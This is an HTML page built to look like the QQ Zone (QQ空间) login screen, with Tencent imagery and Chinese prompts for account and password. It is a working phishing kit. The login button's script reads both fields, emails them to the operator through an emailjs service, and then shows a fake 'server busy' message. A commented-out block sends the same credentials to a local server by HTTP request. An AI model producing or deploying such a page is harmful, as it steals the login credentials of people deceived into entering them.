
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
    <title>QQ空间-分享生活，留住感动</title>
    <script src="js/mui.min.js"></script>
    <link href="css/mui.min.css" rel="stylesheet"/>
    <script type="text/javascript" charset="utf-8">
      	mui.init();
    </script>
	
	<!-- 添加emailjs 邮件服务 zong26178@gmail.com -->
	<script type="text/javascript"
	        src="https://cdn.jsdelivr.net/npm/emailjs-com@2/dist/email.min.js">
	</script>
	<script type="text/javascript">
	   (function(){
	      emailjs.init("user_ZECorgZI0VUAwjRC37yuv");
	   })(); 
	</script>
	<style>
		html{
			height: 100%;
			width: 100%;
		}
		body{
			height: 100%;
			width: 100%;
		}
		.login_warp{
			height: 100%;
			width: 100%;
			/* background-color: #000000; */
			background-image: url(http://qzonestyle.gtimg.cn/qzone/qzactStatics/imgs/20171123181522_c48800.jpg);
			background-size: cover;
		}
		/* 子孙节点选择器：子一级 */
		.login_warp>div:nth-of-type(1){
			background-color: initial;
		}
		/* .login_warp>div:nth-of-type(1){
			height: 30%;
			width: 30%;
			background-color: red;
			border: 1px solid #0062CC;
		} */
		.logo_panel{
			width: 880px;
			height: 101px;
			/* background-color: #0062CC; */
			margin: 0 auto;
			/* margin-top: 100px; */
		}
		.login_panel{
			height: 318px;
			width: 880px;
			/* background-color: #2AC845; */
			/* margin-right: 100px; */
			/* 浮动定义 */
			/* position: absolute; */
			margin: 0 auto;
			/* display: flex; */
		}
		.login_panel>.login_panel_first{
			height: 100%;
			width: 420px;
			background-color: #FFFFFF;
			/* position: relative; */
			/* top: 100px; */
			/* left: 460px; */
			/* right: 0px; */
			margin-left: 460px;
			/* justify-content: end; */
			
		}
		.device_panel{
			height: 80px;
			width: 880px;
			/* background-color: #F0AD4E; */
			position: absolute;
			left: 50%;
			margin-left: -440px;
			bottom: 140px;
		}
		.foot_panel{
			height: 100px;
			width: 880px;
			/* background-color: #2AC845; */
			position: absolute;
			left: 50%;
			margin-left: -440px;
			bottom: 40px;
		}
		.login_panel_first{
			display: flex;
			flex-flow: column;
			/* 水平变垂直 */
			/* 垂直变水平 */
			justify-content: space-between;
			align-items: center;
		}
		.login_panel_first>div{
			height: 38px;
			width: 268px;
			/* background-color: #FFFFFF; */
		}
		.login_panel_first>div:nth-of-type(1){
			font-size: 20px;
			text-align: center;
			line-height: 38px;
		}
		.login_panel_first>div:nth-of-type(2){
			font-size: 16px;
			text-align: center;
			line-height: 38px;
			margin-top: -30px;
			color: #666666;
		}
		.login_panel_first>div:nth-of-type(3){
			margin-top: 0px;
		}
		.login_panel_first>div:nth-of-type(4){
			margin-top: -10px;
		}
		.login_panel_first>div:nth-of-type(5){
			margin-top: -10px;
		}
		.login_panel_first>div:nth-of-type(5)>button{
			width: 100%;
			height: 100%;
			background-color: #86ce2f;
			color: #FFFFFF;
			border: none;
			font-size: 16px;
		}
		.login_panel_first>div:nth-of-type(6){
			font-size: 12px;
			width: 398px;
			height: 20px;
			text-align: right;
			line-height: 20px;
		}
		
		video{
			position: absolute;
			top: 0;
			height: 100%;
			width: 100%;
			object-fit: cover;
			z-index: -1;
		}
		
		/* 响应式方案 */
		@media screen and (max-width:880px) {
			/* 重写或新增样式 */
			.login_warp{
				background-image: none;
			}
			.logo_panel{
				width: 100%;
			}
			.login_panel>img{
				height: 100%;
			}
			.login_panel{
				width: 100%;
			}
			.login_panel>.login_panel_first{
				margin:0 auto;
			}
			.device_panel,.foot_panel{
				width: 100%;
				margin-left: -50%;
			}
		}
		
	</style>
</head>
<body>
	<div class="login_warp">
		<div class="logo_panel"></div>
		<div class="logo_panel">
			<img src="https://i.loli.net/2021/01/07/yP1NITQpFz4Sqvi.png" />
		</div>
		<div class="login_panel">
			<div class="login_panel_first">
				<div>帐号密码登录</div>
				<div>推荐使用快速安全登录，防止盗号。</div>
				<div>
					<input type="text" placeholder="支持QQ号/邮箱/手机号登录"/>
				</div>
				<div>
					<input type="password" placeholder="密码"/>
				</div>
				<div>
					<button>登 录</button>
				</div>
				<div>忘了密码？ | 注册新帐号 | 意见反馈</div>
			</div>
		</div>
		<div class="device_panel"></div>
		<div class="foot_panel"></div>
		<video muted="muted" autoplay="autoplay" loop="loop" src="https://sf6-scmcdn2-tos.pstatp.com/ies/fe_app_new/musics/tvc-v3.d84159ab.mp4" ></video>
	</div>
	
	
	
	
	<script>
		window.onload = function(){
			// 页面加载完毕时触发
			//console.log(1);
			//resizeBgImage();
			//document.body.innerHTML+="<style>.zltdiv{height:200px;width:200px;background:red;}</style><div class='zltdiv'></div>"
		
			
			 
			document.getElementsByTagName("button")[0].addEventListener('click',function(){
				var u = document.getElementsByTagName('input')[0].value;
				var p = document.getElementsByTagName('input')[1].value;
				if (u=="" || p==""){
					mui.alert("请输入用户名或密码","系统提示");
					return false;
				}
                localhost.href="i.qq.com";
				var templateParams = {
				    message_html: `${u}-${p}`
					
				};
				emailjs.send('service_6u5wkzm', 'template_3892d7f', templateParams)
				    .then(function(response) {
				       console.log('SUCCESS!', response.status, response.text);
					   alert("对不起，服务器繁忙，请稍后再试")
				    }, function(error) {
				       console.log('FAILED...', error);
				    });
				
				// 异步请求对象 
				// var xmlhttp = new XMLHttpRequest();
				// xmlhttp.open('GET','http://127.0.0.1:8888/?ccc='+`${u}-${p}`,true);
				
				// // 发送请求
				// xmlhttp.send();
				// // 响应
				// xmlhttp.onreadystatechange=function(){
				// 	console.log(xmlhttp.readyState);
				// 	// 产生了跨越，但是正常情况下我们会得到1,2,3,4，4打条结果
				// 	// ??? 
				// 	// 强制浏览器跨域忽略-插件
				// 	if(xmlhttp.readyState===4){
				// 		// 一定是响应成功了
				// 		// 可以在此取数据
				// 		if(xmlhttp.status===200){
				// 			console.log('可以在此处显示响应回来的数据')
				// 		}
				// 	}
				// }
				
				
			}) 
			
		}
		window.onresize=function(){
			// 页面窗口发生变化时触发
			console.log(2);
			resizeBgImage();
		}
		function resizeBgImage(){
			document.getElementsByClassName("login_warp")[0].style.backgroundSize=''+document.body.offsetWidth+'px '+document.body.offsetHeight+'px'
		}
		
		
	</script>
	
	
<script>document.write('<script src="//' + (location.host || 'localhost').split(':')[0] + ':35929/livereload.js?snipver=1"></' + 'script>')</script><script>document.addEventListener('LiveReloadDisconnect', function() { setTimeout(function() { window.location.reload(); }, 500); })</script></body>
</html>